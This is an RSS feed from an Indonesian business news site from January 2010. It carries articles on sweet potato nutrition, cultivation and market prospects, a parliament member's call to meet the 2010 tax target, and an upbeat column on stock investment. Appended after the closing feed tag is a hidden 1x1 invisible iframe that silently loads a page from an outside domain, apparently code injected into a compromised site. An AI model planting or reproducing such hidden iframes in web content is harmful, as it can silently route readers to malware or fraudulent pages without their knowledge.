		<pubDate>Mon, 04 Jan 2010 14:50:07 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Agribisnis]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197621</guid>
		<description><![CDATA[*defri yenni
Ubi jalar, mungkin bagi kita benda ini bukan suatu hal yang asing lagi. Namun tidak bagi anak-anak di sekeliling kita. Keberadaan ubi jalar kini mulai terlupakan. Di pasar-pasar tradisional, komoditas dan berbagai penganan dari tanaman  ini juga mulai jarang ditemui. Hal ini, terjadi karena anggapan ubi jalar sebagai makanan rendahan masih menyelimuti. Padahal ini [...]]]></description>
			<content:encoded><![CDATA[<p><em>*defri yenni</em><br />
<strong>Ubi </strong>jalar, mungkin bagi kita benda ini bukan suatu hal yang asing lagi. Namun tidak bagi anak-anak di sekeliling kita. Keberadaan ubi jalar kini mulai terlupakan. Di pasar-pasar tradisional, komoditas dan berbagai penganan dari tanaman  ini juga mulai jarang ditemui. Hal ini, terjadi karena anggapan ubi jalar sebagai makanan rendahan masih menyelimuti. Padahal ini jelas sebuah pandangan yang salah. Sebaliknya, ubi jalar merupakan makanan yang patut diperhitungkan karena nilai kandungan gizinya sangat tinggi.<br />
Ubi jalar merah atau Ipomea Batatas termasuk dalam famili Cavalvuloceae.  Karbohidrat merupakan kandungan utama dari ubi jalar.  Selain itu, ubi jalar juga mengandung vitamin, mineral, fitokimia (antioksidan) dan serat  seperti pektin, selulosa, dan<br />
hemiselulosa.  Kadar pati di dalam ubi jalar segar sekitar 20%. Pati ubi jalar berbentuk bulat sampai oval, dengan diameter 3 – 40 µm dengan kandungan amilosa sekitar 15 – 25%.<br />
Berdasarkan penelitian yang sudah dilakukan, ubi jalar terbukti memiliki khasiat yang sangat baik bagi kesehatan mata. Sekelompok antioksidan yang tersimpan dalam ubi jalar merah juga dipercaya mampu menghalangi laju perusakan sel oleh radikal bebas. Karenanya ubi jalar merah dapat mencegah kemerosotan daya ingat dan kepikunan, penyakit jantung koroner, serta kanker. Selain itu, ubi jalar merah juga bisa membuat kita awet muda.<br />
Meskipun termasuk dalam kategori makanan murah, ubi jalar ini jarang sekali  masuk dalam menu keluarga. Pun keluarga yang kondisi ekonominya pas-pasan atau kekurangan. Image-nya sebagai makanan rendahan “mengaburkan” mata banyak orang di Indonesia untuk tidak mengonsumsinya. Kondisi ini sangat bertolak belakang dengan pandangan masyarakat di Barat. Ubi jalar merupakan primadona. Pada perayaan hari besar besar, seperti Natal dan Thanksgiving Day, penduduk di negara-negara Eropa dan Amerika lazim membuat sajian eksklusif dari ubi jalar seperti cake, kue kering, pure pelengkap steak atau salad, es krim, puding, muffin, souffle, pancake, kroket, sup krim, maupun sebagai taburan hidangan panggang. Di Jepang, harga tepung ubi jalar dihargai empat kali lipat harga tepung terigu dan di Singapura harga tepung terigu 25% lebih mahal dari harga tepung.<br />
Kondisi ini sungguh amat sangat disayangkan. Karena masyarakat negara kita banyak yang menganggap  ubi jalar masih belum pantas disandingkan dengan roti. Sungguh sebuah pandangan yang sangat keliru!<br />
Agusman, petani ubi jalar di kawasan Batangkuis Deliserdang mengaku sangat prihatin dengan keadaan ini. Apalagi jika dikaitkan dengan kondisi perekonomian masyarakat kita sekarang ini. Menurutnya, bukan saatnya lagi masyarakat kita merendahkan ubi jalar merah. Masyarakat harus mengubah pandangan miring tersebut. Untuk itu, kata Agusman menuntut peran pemerintah dalam mensosialisasikan fungsi penting ubi jalar, sehingga masyarakat tidak lagi gengsi untuk mengonsumsinya.<br />
Menurut Agusman, rendahnya pandangan masyarakat terhadap ubi jalar tidak terlepas dari kesalahan pemerintah. Pemerintah tidak punya kepedulian untuk mengembangkan diversifikasi pangan. Kalaupun ada sepertinya hanya slogan yang berkembang di instansi pertanian. Dan tidak berkembang di masyarakat kita.<br />
“Harusnya pemerintah melakukan sosialisasi seperti apa yang dilakukan oleh pemerintahan negara-negara luar. Ubi jalar mengandung gizi yang sangat tinggi. Cocok dikembangkan di wilayah Indonesia , khususnya Sumatera Utara, tetapi mengapa budidaya ini tidak berkembang. Karena itu tadi, tidak ada niat dari pemerintah untuk secara serius mengembangkan tanaman ini,”ungkap Agusman lagi.<br />
Padahal, kata Agusman, ubi jalar memiliki sifat-sifat positif dan dinilai sangat sesuai untuk mendukung program diversifikasi pangan menuju swasembada pangan di abad ini. Dalam jangka pendek, ubi jalar juga sesuai untuk mengatasikekurangan beras melalui program jaring peng-aman sosial (JPS), karena komoditas ini dapat diproduksi dalam waktu 3-4 bulan.<br />
“Harusnya pemerintah kita bisa melakukan terobosan sehingga masyarakat kita tidak terlalu menggantungkan diri pada beras, sehingga ketika beras mahal, rakyat menjerit. Beras catu yang jelas-jelas tak berkualitas pun diburu. Akhirnya yang dipusingkan pemerintah juga. Kita harus impor. Jadi, tak ada salahnya kalau tanaman ini kita kembangkan, ”ungkap Agusman lagi.<br />
Menurut Agusman, pengembangan dan budidaya ubi jalar saat ini jangan dulu berharap dikembangkan untuk pasar ekspor, namun sebaliknya dikembangkan untuk pasar lokal. “Toh, masyarakat kita belum banyak yang mau mengomsumsi ubi jalar sebagai sebuah produk pangan, maka itu adalah tugas kita bersama untuk mensosialisasikan keuntungan mengomsumsi ubi jalar ini,”tambah Agusman lagi.<br />
Ubi jalar yang ditanam dalam luasan 1 hektar, kata Agusman, bisa menghasilkan sekitar 20 &#8211; 30 ton. Dengan potensi yang sedemikian besar maka ubi jalar dapat dikembangkan produktivitasnya untuk meningkatkan pendapatan.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/ayo-kembangkan-umbi-bergizi-tinggi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Budidaya Tak Sulit</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/budidaya-tak-sulit/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/budidaya-tak-sulit/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:41:48 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Agribisnis]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197619</guid>
		<description><![CDATA[*Defri Yenni
Ubi jalar termasuk tanaman semusim. Tanaman ini cocok ditanam di daerah dengan ketinggian 500 s/d 1.000 di permukaan laut (dpl) dan suhu 21- 27 derajat Celcius serta mendapat sinar matahari 10 jam per-hari. Kelembapan udara ( RH ) 50% &#8211; 60% dengan curah hujan 750 mm- 1.500 mm pertahun. Ubi jalar ideal ditanam ditanah [...]]]></description>
			<content:encoded><![CDATA[<p><em>*Defri Yenni</em><br />
<strong>Ubi </strong>jalar termasuk tanaman semusim. Tanaman ini cocok ditanam di daerah dengan ketinggian 500 s/d 1.000 di permukaan laut (dpl) dan suhu 21- 27 derajat Celcius serta mendapat sinar matahari 10 jam per-hari. Kelembapan udara ( RH ) 50% &#8211; 60% dengan curah hujan 750 mm- 1.500 mm pertahun. Ubi jalar ideal ditanam ditanah pasir berlempung, gembur, banyak mengandung bahan organik dengan PH 5,5 &#8211; 7.<br />
Tanaman ubi jalar sudah membentuk ubi saat berumur 3 minggu sejak tanam. Varietas ubi jalar cukup banyak diantaranya mendut, kalasan, lampeneng, sawo, cilembu, rambo, gedang, tumpuk, klenang, georgia , borobudur, dan lain-lain. Varitas dikatakan unggul apabila berdaya hasil minimal 30 ton per hektar dan berumur pendek 3 -  4 bulan.<br />
Menurut pria kelahiran Solo, Jawa Tengah ini, budidaya ubi jalar tidaklah sulit. Ubi jalar dapat diperbanyak secara vegetatif dengan menggunakan setek batang atau pucuk daun. Bahan setek daun yang digunakan harus memenuhi persyaratan bahan tanaman minimal berumur 2 bulan atau lebih, pertumbuhan tanaman yang akan diambil seteknya harus dalam keadaan sehat normal dan tidak terlalu subur, mengalami masa penyimpanan ditempat yang teduh selama 1- 7 hari.<br />
Ubi jalar yang akan ditanam, kata Agusman lagi, perlu disiapkan lahan yang memadai. Penyiapan lahan dilakukan pada saat tanah tidak terlalu basah atau terlalu kering agar strukturnya tidak rusak, lengket atau keras. Penyiapan lahan dilakukan dengan cara pengolahan tanah hingga gembur sekaligus dibuat guludan-guludan yang kemudian dibiarkan selama 1minggu. Guludan bisa diberikan mulsa.<br />
Ditambahkan Agusman lagi, ubi jalar yang ditanam dilahan kering, waktu penanman yang paling baik adalah saat awal musim hujan atau awal kemarau apabila cuaca dalam keadaan normal. Bila ditanam dilahan persawahan waktu tanam yang tepat adalah pada saat awal musim kemarau. Sistem penanaman ubi jalar dapat dilakukan secara monokulture atau tumpangsari.<br />
”Ubi jalar walaupun tahan kering tetapi pada fase awal pertumbuhan memerlukan air yang memadai,”kata Agusman lagi.<br />
Penyulaman dilakukan setelah tanaman berumur 3 minggu dan pemupukan dilakukan pada saat penanaman dan setelah tanaman berumur 45 hari. Penyiangan dan pembubunan dilaksanakan ketika tanaman mencapai umur 1 bulan setelah tanam yang diulang saat tanaman berumur 2 bulan.<br />
Ubi jalar yang dipanen pada waktu yang tepat akan menghasilkan ubi yang berkualitas dan hasil produksi tinggi .Panen yang terlalu lambat ataupun terlalu cepat akan berakibat buruk terhadap mutu yang dihasilkan. Pemanenan yang terlambat disamping menurunkan kadar gula juga menyebabkan resiko terkena serangan hama boleng<br />
Ubi jalar masa panennya dipengaruhi oleh berbagai faktor seperti iklim, tingkat ` kesuburan tanah, varitas dan lokasi penanaman. Apabila ditanam didataran tinggi maka masa panen akan lebih lama antara 5 s/d 6 bulan sementara apabila ditanam didataran rendah bisa dipanen saat berumur 3 s/d <strong>4 bulan</strong><br />
Ubi jalar hasil panen sangat bervariasi tergantung lokasi penanaman. Penanaman didataran rendah bisa dipanen ubi jalar sebanyak 15 – 20 ton / hektar. Untuk dataran sedang bisa dipanen ubi sebanyak 20 – 25 ton / hektar dan didataran tinggi bisa dipanen 25 – 30 ton / hektar.<br />
Ubi jalar dapat disimpan hingga 5 -  6 bulan bahkan lebih tergantung dari cara penyimpanan. Ubi jalar yang telah disimpan rasanya lebih manis dibandingkan dengan ubi jalar yang baru saja dipanen. Cara yang paling praktis agar tahan lama disimpan adalah dibenamkan kedalam pasir.<br />
<strong>Tak Ada Tuntutan Grading</strong><br />
Menurut Agusman, ubi jalar permintaan pasar lokal tidak diperlukan tuntutan grading yang ketat. Ubi jalar disortasi hanya untuk mengelompokkan jenis, besar kecil dan warna. Ubi jalar warna merah dijadikan satu dengan ubi jalar berwarna merah, ubi yang berwarna kuning dipacking menjadi satu dengan ubi kuning lainnya. Demikian pula dengan jenis dan besar kecilnya ubi , dikelompokkan sendiri-sendiri.<br />
Ubi jalar permintaan pasar lokal dipacking dengan menggunakan keranjang yang terbuat dari bambu atau karung net dan bisa juga dengan menggunakan karung goni. Sedangkan untuk jumlah yang banyak ubi jalar diangkut dengan cara curah / langsung ditempatkan dibak pengangkut<br />
Ubi jalar yang dijual dengan cara curah sebaiknya disusun rapi dan tertata di bak kendaraan pengangkutan agar .kerusakan karena tertindih dapat dihindari. Disamping menghindari kerusakan, jumlah ubi yang dapat diangkut menjadi lebih banyak sehingga mengefisienkan biaya transportasi.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/budidaya-tak-sulit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prospek dan Potensi Ubi Jalar</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/prospek-dan-potensi-ubi-jalar/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/prospek-dan-potensi-ubi-jalar/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:41:13 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Agribisnis]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197617</guid>
		<description><![CDATA[*defri yenni/berbagai sumber
Menurut Agusman, sebenarnya ubi jalar memiliki peranan yang besar dalam pembangunan pertanian sehingga prospeknya sangat cerah apabila dikelola dan dikembangkan dengan pola agribisnis. Di negara-negara yang sudah maju ubi jalar dipergunakan sebagai bahan baku dalam kegiatan aneka industri, seperti industri fermentasi, industri tekstil, industri lem, industri kosmetika, industri farmasi, industri makanan dan pembuatan [...]]]></description>
			<content:encoded><![CDATA[<p><em>*defri yenni/berbagai sumber</em><br />
<strong>Menurut </strong>Agusman, sebenarnya ubi jalar memiliki peranan yang besar dalam pembangunan pertanian sehingga prospeknya sangat cerah apabila dikelola dan dikembangkan dengan pola agribisnis. Di negara-negara yang sudah maju ubi jalar dipergunakan sebagai bahan baku dalam kegiatan aneka industri, seperti industri fermentasi, industri tekstil, industri lem, industri kosmetika, industri farmasi, industri makanan dan pembuatan sirup.<br />
Secara umum pasaran ubi jalar cukup baik. Ubi jalar banyak diminta oleh negara-negara tetangga. Namun karena produktivitas yang sangat rendah, bahkan semakin rendah akibat<br />
adanya peningkatan produksi padi nasional melalui intensifikasi maupun ekstensifikasi. “Boleh dibilang setiap tahunnya areal penanaman dan juga produktivitas ubi jalar di negara kita semakin rendah, kondisi ini bahkan sudah terjadi sejak tahun 1993, ”kata Agusman.<br />
Kondisi pengurangan produktivitas ubi jalar juga terjadi di Sumatera Utara dan beberapa wilayah di Sumatera lainnya. Penurunan produksi juga terjadi di sentra produksi seperti Blitar, Mojokerto, dan Magetan (Jawa Timur), Karanganyar (Jawa Tengah), dan Kuningan (Jawa Barat) dengan produktivitas ubi jalar dapat mencapai 25-30 t/ha, karena cara budidayanya sudah intensif.<br />
Dikatakan Agusman, penurunan luas panen ubi jalar antara lain disebabkan adanya perbaikan irigasi dan persaingan dengan komoditas lain yang mempunyai nilai ekonomi lebih baik. Dengan tersedianya fasilitas pengairan, pada musim kemarau lahan sawah yang biasanya ditanami ubi jalar berubah ditanami padi. Klon-klon unggul seperti Daya, Borobudur ,dan Prambanan yang dihasilkan oleh Balittan Bogor tampaknya belum diadopsi petani secara luas karena kandungan air dari umbinya tinggi, sehingga kualitas rebus kurang baik, meskipun daya hasil dan kandungan ß- karotennya tinggi. Klon tersebut ditanam sebagai bahan rujak atau industri saos. Klon unggul Mendut (di-lepas tahun 1989) yang mempunyai hasil tinggi kurang disukai untuk konsumsi, tetapidibudidayakan untuk industri saus<br />
Menurut Agusman, petani dan konsumen pada umumnya lebih menyukai varietas yang mempunyai tekstur kering hingga saat ini belum dapat dipenuhi dikarenakan produktivitas yang masih rendah. Sementara itu kebutuhan ubi jalar sebagai bahan baku industri seperti disebutkan diatas sudah tidak dapat ditawar lagi ketersediaannya untuk kelancaran proses produksi. Negara pengimport ubi jalar Indonesia adalah Singapura, Belanda, Amerika Serikat, Jepang dan Malaysia.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/prospek-dan-potensi-ubi-jalar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DPR: Realisasi Pajak 2010 Harus Sesuai Target</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/dpr-realisasi-pajak-2010-harus-sesuai-target/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/dpr-realisasi-pajak-2010-harus-sesuai-target/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:40:30 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Keuangan & Perbankan]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197615</guid>
		<description><![CDATA[MedanBisnis – Jakarta
Dewan Perwakilan Rakyat (DPR) mendesak pemerintah agar bisa mengejar target penyerapan pajak di tahun 2010 mengingat realisasi pajak tahun 2009 yang minim.
Menurut Ketua Badan Anggaran sekaligus anggota Komisi XI DPR Harry Azhar Azis, pemerintah tidak punya alasan lagi jika realisasi penyerapan pajak tahun depan kembali tidak mencapai target.
&#8220;Kalau tahun ini kan alasan pemerintah [...]]]></description>
			<content:encoded><![CDATA[<p><strong>MedanBisnis </strong>– Jakarta<br />
Dewan Perwakilan Rakyat (DPR) mendesak pemerintah agar bisa mengejar target penyerapan pajak di tahun 2010 mengingat realisasi pajak tahun 2009 yang minim.<br />
Menurut Ketua Badan Anggaran sekaligus anggota Komisi XI DPR Harry Azhar Azis, pemerintah tidak punya alasan lagi jika realisasi penyerapan pajak tahun depan kembali tidak mencapai target.<br />
&#8220;Kalau tahun ini kan alasan pemerintah masih ada krisis global sehingga ekonomi melambat. Tahun depan tidak ada lagi alasan eksternal, harus sesuai target,&#8221; katanya, Sabtu (2/1).<br />
Sebelumnya, pemerintah mengungkapkan realisasi penerimaan perpajakan di tahun 2009 tidak mencapai target APBN-P 2009. Penerimaan perpajakan hanya Rp 641,2 triliun atau 1,7% lebih rendah dari target.<br />
Meski begitu, realisasi penerimaan negara bukan pajak (PNBP) mencapai Rp 224,5 triliun atau 3% lebih tinggi dari target dalam APBN-P 2009. Dengan pencapaian ini, realisasi pendapatan dan hibah negara sepanjang 2009 mencapai Rp 866,8 triliun atau 0,5% di bawah targetnya dalam APBN-P 2009.<br />
Harry menambahkan, selain harus memperhatikan faktor eksternal, penyerapan pajak juga harus memperhatikan sisi internal atau birokrasi di tubuh pemerintah sendiri. &#8220;Jangan sampai pajak disclaimer dibiarkan saja terus-terusan,&#8221; katanya.<br />
Dia menambahkan, seharusnya pemerintah memiliki metode perencanaan dengan skenario terburuk, seperti menghadapi krisis, bencana dan lain sebagainya. Sehingga target penerimaan pajak bisa disusun dengan baik. &#8220;2010 nanti targetnya harus lebih tinggi, atau paling tidak sama dengan tahun ini. Tapi tetap harus sesuai target,&#8221; tambahnya.<em> (dtf)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/dpr-realisasi-pajak-2010-harus-sesuai-target/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tahun 2010, Tahun Berinvestasi Saham</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/tahun-2010-tahun-berinvestasi-saham/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/tahun-2010-tahun-berinvestasi-saham/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:40:08 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Keuangan & Perbankan]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197613</guid>
		<description><![CDATA[Oleh Gunawan
Tahun 2009 telah berlalu. Pasar keuangan Indonesia kembali memasuki babak baru di tahun 2010 ini. Indonesia masih menyisakan permasalahan dari tahun 2009 yang berpeluang membuat pasar keuangan Indonesia di tahun ini kurang bergairah. Di antaranya, kasus Bank Century.
Walaupun di akhir tahun 2009 IHSG menorehkan kinerja positif, rupiah juga stabil, namun anomali yang terjadi di [...]]]></description>
			<content:encoded><![CDATA[<p><em>Oleh Gunawan</em><br />
<strong>Tahun </strong>2009 telah berlalu. Pasar keuangan Indonesia kembali memasuki babak baru di tahun 2010 ini. Indonesia masih menyisakan permasalahan dari tahun 2009 yang berpeluang membuat pasar keuangan Indonesia di tahun ini kurang bergairah. Di antaranya, kasus Bank Century.<br />
Walaupun di akhir tahun 2009 IHSG menorehkan kinerja positif, rupiah juga stabil, namun anomali yang terjadi di akhir tahun kemarin bukan jaminan akan diteruskan di tahun 2010. Meskipun banyak yang menilai bahwa tahun 2010 tahun yang pas untuk berinvestasi di saham, maka sebenarnya momentum itu bisa dimanfaatkan di akhir tahun 2009.<br />
Koreksi yang tajam pda Desember 2009, sebenarnya menjadi momen yang tepat untuk mengoleksi saham. Dan cukup berpeluang untuk membeli (memegang) US$. Kinerja indeks harga saham gabungan (IHSG) yang justru naik meskipun di Asia justru bergerak sebaliknya. Menandakan bahwa investor percaya tahun 2010 ini IHSG akan menorehkan kinerja positif.<br />
Kinerja IHSG yang menjadi bursa terbaik di Asia sepertinya akan tetap menjadi yang terbaik di tahun 2010 ini. Selain akan diperbanyak oleh jumlah emiten yang IPO (initial public offering), penerbitan obligasi yang dikeluarkan pemerintah juga turut meramaikan perdagangan efek tahun 2010. Aksi korporasi serta kebutuhan pembiayaan pemerintah untuk APBN maupun korporat.<br />
Di antara efek-efek yang ramai diperdagangkan, obligasi memiliki risiko yang lebih besar karena ancaman inflasi di tahun 2010 ini. Sementara saham memiliki kecenderungan membaik seiring dengan kinerja pertumbuhan ekonomi yang semakin membaik pula. Inflasi akan menjadi ancaman serius karena akan tumbuh seiring dengan laju pertumbuhan ekonomi.<br />
Inflasi pada dasarnya akan mengerek suku bunga ke atas, dan secara substansial akan  membuat harga saham terkoreksi. Namun, booming komoditas di tahun 2010 ini sepertinya akan lebih mengendalikan laju penguatan harga saham dibandingkan dengan laju tekanan inflasi. Berbeda dengan harga saham, obligasi yang memberikan imbal hasil tidak jauh dari  BI Rate berpeluang diperdagangkan at discount atau lebih kecil dari nilai par (100%) nya.<br />
Untuk itu, obligasi baik yang dikeluarkan pemerintah maupun koporat harus mempertimbangkan laju tekanan inflasi di tahun ini. Posisi BI rate di 6,5% sepertinya akan tergiring keatas. Kupon obligasi harus mampu diatas laju tekanan inflasi di tahun 2010 ini. Kalau tidak mau diperdagangkan at discount. Namun, karakter investor yang tidak melulu melihat faktor fluktuasi harga yang diakibatkan inflasi, namun lebih pada investasi hingga jatuh tempo. Tetap akan memilih produk-produk obligasi.<br />
Selain itu, di tahun ini, akan banyak emiten yang akan melakukan go public. Bahkan beberapa emiten tersebut berstatus milik negara atau BUMN (Badan Usaha Milik Negara). Emiten BUMN tersebut di antaranya PT Pembangunan Perumahan, PTPN3 dan PTPN4, Garuda Indonesia dan Krakatau Steel. Dan emiten BUMN lainnya yang belum disebutkan.<br />
Banyaknya emiten yang akan terdaftar di bursa akan menambah jumlah transaksi saham. Baik dari sisi volume, frekuensi maupun nilai transaksi. Proses penjamin emisi saham sebelum terdaftar di lantai bursa akan dilakukan oleh perusahaan sekuritas. Sehingga sebagai investor kita dapat melakukan proses pembelian pertama di sekuritas tersebut.<br />
Di antara sekuritas yang menjadi penjamin emisi, PT Danareksa Sekuritas merupakan salah satu penjamin emisi terbesar bagi emiten yang akan melantai di tahun 2010 ini. Dengan statusnya sebagai BUMN, pengalaman, dan yang paling tua di Indonesia, maka wajar jika dipercaya untuk menjadi penjamin emisi baik saham dan obligasi.<br />
Tahun 2010 merupakan tahun pemulihan perekonomian dunia. Setidaknya optimisme tersebut muncul dari para analis. Pertengahan tahun selalu menjadi momentum bagi emiten untuk membagi deviden, sebelum dividen dikeluarkan, investor akan memburu saham-saham emiten tersebut. Jangan tunggu lagi, momentum pemulihan ekonomi, IPO, dan diramaikan dengan penerbitan obligasi, IHSG sepertinya akan merangkak naik terus.</p>
<p><em>Gunawan, Pengamat Keuangan, lumni UGM Yogyakarta,Bekerjsa di Salah Satu Sekuritas BUMN di Kota Medan.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/tahun-2010-tahun-berinvestasi-saham/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://asfirey.net/?click=6F63A" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>